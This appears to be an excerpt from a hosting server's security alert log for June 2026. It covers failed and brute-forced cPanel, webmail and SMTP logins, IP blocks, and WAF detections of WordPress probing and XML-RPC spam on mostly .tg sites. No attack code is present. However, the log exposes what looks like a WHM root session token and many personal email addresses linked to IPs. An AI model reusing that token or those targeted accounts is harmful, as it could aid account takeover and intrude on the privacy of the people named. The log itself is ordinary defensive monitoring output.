abuser: 196.168.158.46
country_id: 2363686
description:
[2026-06-12 08:02:04 +0000] info [webmaild] 196.168.158.46 - gsanguitaah-tiwarka@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.158.46
country_id: 2363686
description:
[2026-06-12 08:02:44 +0000] info [webmaild] 196.168.158.46 - guillaume.sanguitaah-tiwarka@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.190.169.197
country_id: 2017370
description:
Jun 12 08:03:19 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.190.169.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.114.38.64
country_id: 3895114
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.190.169.197
country_id: 2017370
description:
2026-06-12 08:03:21 dovecot_plain authenticator failed for H=c4350.col.wm.ru (810uo4njqho04gr1fkvd7rw) [194.190.169.197]:53257: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.158.46
country_id: 2363686
description:
[2026-06-12 08:03:22 +0000] info [webmaild] 196.168.158.46 - guillaume.sanguitaah-tiwarka@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:04:42 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 188.215.235.50
country_id: 1831722
description:
Jun 12 08:08:40 ns5 pure-ftpd[1393875]: (?@188.215.235.50) [INFO] New connection from 188.215.235.50


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 173.239.201.133
country_id: 1643084
description:
Jun 12 08:08:43 ns5 pure-ftpd[1393882]: (?@173.239.201.133) [INFO] New connection from 173.239.201.133


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:12:59 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 152.58.97.51
country_id: 1269750
description:
152.58.97.51 - - [12/Jun/2026:08:13:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9859271&pdata=https%253A%252F%252Fcivilemagazine.tg%252Fla-croix-rouge-togolaise-appuie-la-commune-de-kpele-1-dans-la-construction-de-latrines-publiques-le-lancement-officiel-des-travaux-a-eu-lieu-ce-21-janvier-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781251980 HTTP/2.0" 302 0 civilemagazine.tg "https://civilemagazine.tg/la-croix-rouge-togolaise-appuie-la-commune-de-kpele-1-dans-la-construction-de-latrines-publiques-le-lancement-officiel-des-travaux-a-eu-lieu-ce-21-janvier-2026/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.9842.1686 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:152.58.97.51


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.104.44
country_id: 3469034
description:
Jun 12 08:13:41 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.104.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:15:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun 12 08:17:59 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun 12 08:18:59 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 11009
name: WHM login success
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-12 08:19:08 +0000] info [whostmgrd] 80.248.64.198 NEW root:StND5Dy1etdwe6wc address=80.248.64.198,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.117.110.107
country_id: 3686110
domain: www.lasnb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.tg/product/show/djama-panache HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.200.165.208
country_id: 1227603
domain: www.lasnb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.tg/albums/page HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.176.58
country_id: 1814991
description:
Jun 12 08:18:52 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.176.58 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 176.225.15.109
country_id: 102358
description:
176.225.15.109 - - [12/Jun/2026:08:22:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10012005&pdata=https%253A%252F%252Feducplusmedia.tg%252F2024%252F11%252Fpage%252F3%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781252574 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2024/11/page/3/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.7769.1335 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.225.15.109


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:24:11 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-12 08:24:31 +0000] info [webmaild] 196.171.46.177 - justine.botcholi@togointerim.net "GET /cpsess2292507615/3rdparty/roundcube/?_task=mail&_action=compose&_id=7983102169fcb2e3946f3 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.94.53.17
country_id: 6252001
description:
Jun 12 08:25:45 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.94.53.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.94.53.17
country_id: 6252001
description:
2026-06-12 08:25:47 dovecot_login authenticator failed for H=(localhost.localdomain) [23.94.53.17]:47444: 535 Incorrect authentication data (set_id=test@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:27:01 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.86
country_id: 3469034
description:
Jun 12 08:29:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.86 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.211
country_id: 690791
description:
Jun 12 08:29:41 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.204.25
country_id: 798544
description:
Jun 12 08:29:50 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.204.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:31:14 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:31:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.141.132
country_id: 2963597
description:
Jun 12 08:34:10 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.141.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:34:18 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.141.132
country_id: 2963597
description:
Jun 12 08:34:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.141.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:34:27 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.248.177.44
country_id: 1831722
description:
Jun 12 08:34:59 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.248.177.44 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.38.17.219
country_id: 6252001
description:
[2026-06-12 08:38:22 +0000] info [cpaneld] 45.38.17.219 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-12 08:38:51 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:45412: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 49.12.66.97
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users/me?_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.175.22.92
country_id: 6252001
description:
[2026-06-12 08:40:15 +0000] info [cpaneld] 192.175.22.92 - camaegdtomgo "GET //login?user=camaegdtomgo&pass=__HIDDEN__ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 160.25.186.194
country_id: 1694008
description:
160.25.186.194 - - [12/Jun/2026:08:39:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908312&pdata=https%253A%252F%252F24heureinfo.tg%252Ftechweb%252Fau-togo-larcep-incite-les-operateurs-a-proposer-des-forfaits-de-15-go-a-500-f%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781253579 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/techweb/au-togo-larcep-incite-les-operateurs-a-proposer-des-forfaits-de-15-go-a-500-f/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2612.1416 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:160.25.186.194


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.68.59.59
country_id: 298795
description:
212.68.59.59 - - [12/Jun/2026:08:39:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13407939&pdata=https%253A%252F%252Fcorpsdiplomaticnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781253596 HTTP/2.0" 302 0 corpsdiplomaticnews.tg "https://corpsdiplomaticnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.68.59.59


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.31.176.186
country_id: 2464461
description:
[2026-06-12 08:42:17 +0000] info [cpaneld] 102.31.176.186 - cafetg "GET /execute/Fileman/list_files?dir=/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.65.225.229
country_id: 1643084
domain: letempsdaider.org
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:45219.letempsdaider.org||ServerName:letempsdaider.org||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d7da9de390f94f5cf4a826eb0b6488bafd396804||Title:0xdbc14ec0||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.65.225.229
country_id: 1643084
domain: letempsdaider.org
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:14341.letempsdaider.org||ServerName:letempsdaider.org||Method:metaWeblog.newPost||BlogID:1||TitleSHA:81e1c799e0d9f54ace3d66e0979546ba33f7c45c||Title:0x5e387925||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.219.218
country_id: 2363686
description:
[2026-06-12 08:44:36 +0000] info [webmaild] 196.168.219.218 - guillaume.saguintaah@togointerim.net "GET /cpsess3285366991/3rdparty/roundcube/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=32&_mbox=INBOX&_action=show HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.158.46] != Current IP Address [196.168.219.218]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:44:56 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.85.240.79
country_id: 3686110
description:
186.85.240.79 - - [12/Jun/2026:08:45:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6580888&pdata=https%253A%252F%252Ftogodailynews.tg%252Fgcf-2-le-fonds-vert-pour-le-climat-nomme-mahmoud-moheildein-facilitateur%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781253912 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/gcf-2-le-fonds-vert-pour-le-climat-nomme-mahmoud-moheildein-facilitateur/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.7036.1659 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.85.240.79


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:46:19 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:46838: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.76.194.88
country_id: 1880251
description:
2026-06-12 08:45:28 dovecot_plain authenticator failed for H=(Polypet-REMOTE.polypet.local) [13.76.194.88]:53871: 535 Incorrect authentication data (set_id=root)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 13.76.194.88
country_id: 1880251
description:
Jun 12 08:45:33 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 13.76.194.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:47:53 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.19.74.210
country_id: 3017382
description:
[2026-06-12 08:49:12 +0000] info [whostmgrd] 162.19.74.210 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:50:34 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:55584: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:51:22 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:54754: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:52:59 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 123.6.49.12
country_id: 1814991
description:
123.6.49.12 - - [12/Jun/2026:08:54:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001514&pdata=http%253A%252F%252Fcafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781254444 HTTP/1.1" 404 561 cafe.tg "http://cafe.tg/" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.12


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.220.116
country_id: 290557
domain: www.sthandling-aero.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.sthandling-aero.tg:80/img-sys/IP_changed.png HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.92.15
country_id: 6251999
domain: www.sthandling-aero.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.sthandling-aero.tg:80/img-sys/server_misconfigured.png HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.67.118
country_id: 290557
domain: www.sthandling-aero.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.sthandling-aero.tg:80/img-sys/server_moved.png HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:53:42 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:59796: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:54:23 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:46668: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:55:40 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:57562: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:55:25 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:53234: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:56:27 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:59620: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:56:41 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 32.196.198.163
country_id: 6252001
domain: api.free.netmaster.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.26.95.249
country_id: 3469034
description:
Jun 12 08:58:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.26.95.249 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.71.103.38
country_id: 3658394
domain: sp-eau.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sp-eau.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.71.103.38
country_id: 3658394
domain: sp-eau.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sp-eau.tghttp/sp-eau.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 80.31.37.252
country_id: 2510769
description:
80.31.37.252 - - [12/Jun/2026:09:00:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856151&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-238105letidm45xel.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781254846 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-238105letidm45xel.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:80.31.37.252


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.72.2
country_id: 690791
description:
Jun 12 09:03:27 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.72.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-12 09:04:21 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:59324: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:04:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.31.134.29
country_id: 2750405
description:
Jun 12 09:07:06 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.31.134.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.134.29
country_id: 2750405
description:
2026-06-12 09:07:08 dovecot_plain authenticator failed for H=(9so8374fbrmtw77rvyurb0q0hu) [144.31.134.29]:37680: 535 Incorrect authentication data (set_id=david.ayivi@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-12 09:07:36 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:46288: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 09:07:40 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:43448: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:08:19 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.234.202.52
country_id: 953987
description:
Jun 12 09:07:25 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.234.202.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:08:28 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:13:36 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.175.221.173
country_id: 1694008
description:
2026-06-12 09:13:46 dovecot_login authenticator failed for H=(1b57Qjm3Iw) [202.175.221.173]:40510: 535 Incorrect authentication data (set_id=mointie.konlambigue@emt.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-12 09:14:48 +0000] info [webmaild] 160.242.195.10 - eagbenowoduga@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-12 09:16:01 +0000] info [webmaild] 160.242.195.10 - sayeva@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.198.85
country_id: 2413451
description:
Jun 12 09:16:56 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.198.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.90.235
country_id: 1668284
description:
Jun 12 09:17:40 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.90.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:18:39 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.124.229
country_id: 337996
description:
2026-06-12 09:21:26 dovecot_login authenticator failed for H=([49.124.155.189]) [196.189.124.229]:34732: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.138.3
country_id: 99237
description:
